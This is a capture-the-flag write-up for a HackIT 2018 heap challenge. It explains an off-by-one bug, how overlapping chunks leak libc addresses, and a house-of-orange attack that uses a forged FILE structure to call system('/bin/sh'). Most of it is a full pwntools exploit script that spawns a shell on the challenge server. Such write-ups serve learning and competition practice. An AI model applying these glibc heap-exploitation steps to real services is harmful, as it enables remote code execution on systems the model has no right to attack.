Tags: houseoforange malloc heap 

Rating: 0

**Description**

> We learnt from our past mistakes. We now have cameras looking at `__malloc_hook` 24x7.
>
> `nc 185.168.131.144 6000`

**Files provided**

- [chall2-bank](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/chall2-bank)
- [libc-2.24.so](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/libc-2.24.so)

**Solution** (by [Mem2019](https://github.com/Mem2019))

The problem is here. When creating the back account, there is a off-by-one.

```c
read(0, v3->title, 0x11uLL); // off by one
```

The insight is to change the size of unsorted bin and then create an overlap. However, only fastbin size is allowed, so we must use this off-by-one to increase the size of a currently using fastbin chunk into a unsorted bin chunk, so when we free it it will be putted into unsorted bin. To create such situation, we need to manipulate the fastbin chunks first.

After creating such overlapped unsorted bin, we can leak program address and libc address. Care has to be taken about the check for the `flag` field in the struct, which should point to `0x60C0C748`. (e.i. do not change it)

Then we need to control the `rip`, but since the in `edit statement` function, `fgets` instead of `fread` is used, so there must be a null termination, so we can't rewrite return address in stack (we can only write 5 non-zero bytes but all addresses are 6 bytes).

```c
if ( v1 >= 0 && v1 <= 19 && accounts[v1] )
{
n = strlen(accounts[v1]->statement);
fgets(accounts[v1]->statement, n, stdin);
}
```

Thus, I used house of orange attack, which can be acheived by setting the `title_size` field to a big number by using overlap. But to make it simple, set `global_max_fast` to zero first.

exp:

```python
from pwn import *

g_local=True
context.log_level='debug'

if g_local:
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh = process('./chall2-bank')#env={'LD_PRELOAD':'./libc.so.6'}
UNSORTED_OFF = 0x3c4b78
GLOBAL_MAX_FAST = 0x3C67F8
IO_STR_FINISH = 0x3c37b0
gdb.attach(sh)
else:
sh = remote("185.168.131.144", 6000)
e = ELF("./libc-2.24.so")
UNSORTED_OFF = 0x397b58
GLOBAL_MAX_FAST = 0x3997D0
IO_STR_FINISH = 0x394510

def slp():
if g_local:
sleep(0.1)
else:
sleep(1)

def create(title, size, statement):
sh.send("1\n")
sh.recvuntil("Enter title of bank account: ")
sh.send(title)
sh.recvuntil("Enter size of your bank statement: ")
sh.send(str(size) + "\n")
slp()
sh.send(statement + "\n")
sh.recvuntil("Account has been created at index ")
ret = int(sh.recvuntil("\n"))
sh.recvuntil("5. View your bank status\n")
return ret

def edit_title(idx, title):
sh.send("2\n")
sh.recvuntil("Enter index of bank account: ")
sh.send(str(idx) + "\n")
slp()
sh.send(title)
sh.recvuntil("5. View your bank status\n")

def edit_statement(idx, statement):
sh.send("3\n")
sh.recvuntil("Enter index of bank account: ")
sh.send(str(idx) + "\n")
slp()
sh.send(statement + "\n")
sh.recvuntil("5. View your bank status\n")

def delete(idx):
sh.send("4\n")
sh.recvuntil("Enter index of bank account: ")
sh.send(str(idx) + "\n")
sh.recvuntil("5. View your bank status\n")

def view(idx):
sh.send("5\n")
sh.recvuntil("Enter index of bank account: ")
sh.send(str(idx) + "\n")
sh.recvuntil("Title: ")
title = sh.recvuntil("\n")
sh.recvuntil("Statement: ")
statement = sh.recvuntil("\n")
sh.recvuntil("5. View your bank status\n")
return (title[:len(title)-1],statement[:len(statement)-1])

tmp1 = create("1", 0x20, "1")
tmp2 = create("2", 0x20, "2")
delete(tmp1)
delete(tmp2)
#now 4 0x30 fastbin, ordered by 6903

fst4_0x30 = [0] * 4
for i in map(lambda x:x/3,[6,9,0,3]):
fst4_0x30[i] = create(str(i), 0x50, str(i))
#consume the 0x30 chunks, put them in an array,
#idx correspond to memory position

#want allocation order 31 02
delete(fst4_0x30[2])
delete(fst4_0x30[0])
delete(fst4_0x30[1])
delete(fst4_0x30[3])

gen_unsorted = create("3", 0x20, "1")
create("0" * 0x10 + chr((0x90 + 0x60) | 1), 0x20, "2")

for i in xrange(0,3):
create("leak", 0x50, "consume 0x60 chunks")
#take all 0x50, 0x30 will be allocated from top chunk

toleak = create("leak", 0x50, "to become leak here")

delete(gen_unsorted)
#unsorted bin contains 1 2 3 0x60, and one 0x30 fastbin

arb_rw = create("leak", 0x10, "A") #0x30, 1
struct_overlap = create("leak", 0x30, "A") #2, jmp out 3
libc_addr = u64(view(toleak)[1] + "\x00\x00") - UNSORTED_OFF
create("leak", 0x20, "empty bins, leak pie")
flag_addr = u64(view(toleak)[1] + "\x00\x00") # - 0x202010
print hex(libc_addr)
print hex(flag_addr)
#now bins empty

# edit_statement(struct_overlap, "H" * 0x10 + p64(flag_addr) + p64(0x10) + p64(libc_addr+e.symbols["__free_hook"]))
# edit_statement(arb_rw, p64(libc_addr + e.symbols["system"]))

delete(struct_overlap)
create("arb read", 0x30, "H" * 0x10 + p64(flag_addr) + p64(0x10) + p64(libc_addr+e.symbols["environ"]))
stack_addr = u64(view(arb_rw)[1] + "\x00\x00")
print hex(stack_addr)

delete(struct_overlap)
create("arb write", 0x30, "H" * 0x10 + p64(flag_addr) + p64(0xdeadbeef) + p64(libc_addr + GLOBAL_MAX_FAST)) #to test
edit_statement(arb_rw, "1") #1 will let scanf return 1
#change max_global_fast to 0

#house of orange(by rewriting title size)
sh.recvuntil("Enter title of bank account: ")
sh.send("orange")
sh.recvuntil("Enter size of your bank statement: ")
sh.send(str(0x20) + "\n")
slp()
sh.send("house of orange" + "\n")
sh.recvuntil("Account has been created at index ")
of_chunk = int(sh.recvuntil("\n"))
sh.recvuntil("5. View your bank status\n")
hso_chunk = create("hso", 0x50, "house of orange")
create("pad", 0x10, "pad")
delete(of_chunk)

create("0" * 0x10 + chr(0xC0 | 1), 0x50, 'A' * 0x20 + p64(0) + p64(0x31) + p64(flag_addr) + chr(0))

fake_file = p64(0)
fake_file += p64(0x61)
fake_file += p64(1)
fake_file += p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += ((0xc0-0x40) / 8) * p64(flag_addr)
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(libc_addr + e.symbols["system"])

edit_title(hso_chunk, 'A' * 8 + fake_file)

sh.send("1\n")

sh.interactive()
```

However, the flag is `flag{Gu4rd_at_MALLOC_HOOK_bu1_n0t_4t_FREE_HOOK??}`, but I didn't use free hook at all, how can this pass the check of flag?